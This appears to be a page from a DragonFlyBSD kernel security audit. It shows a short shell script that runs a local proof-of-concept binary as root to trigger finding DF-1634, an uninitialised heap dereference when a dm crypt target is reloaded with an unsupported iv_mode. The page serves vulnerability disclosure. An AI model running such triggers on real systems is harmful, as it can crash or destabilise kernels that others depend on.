DragonFlyBSD Kernel Audit
DF-1634 / run.sh
← back to finding ↓ download raw
1
2
3
4
5
6
7
8
#!/bin/sh
# DF-1634: reload crypt target with unsupported iv_mode -> uninit heap deref in destroy
# Precondition: admin has loaded dm + dm_target_crypt KLD modules.
# NOTE: the crypt init requires a writable backing block device; on default 0640
# root:operator device perms, only root can supply it. Run as root for this case
# (or have the admin chmod a block device to group-writable for operator).
sudo ./dm_poc create 2>/dev/null || true
sudo ./dm_poc 1634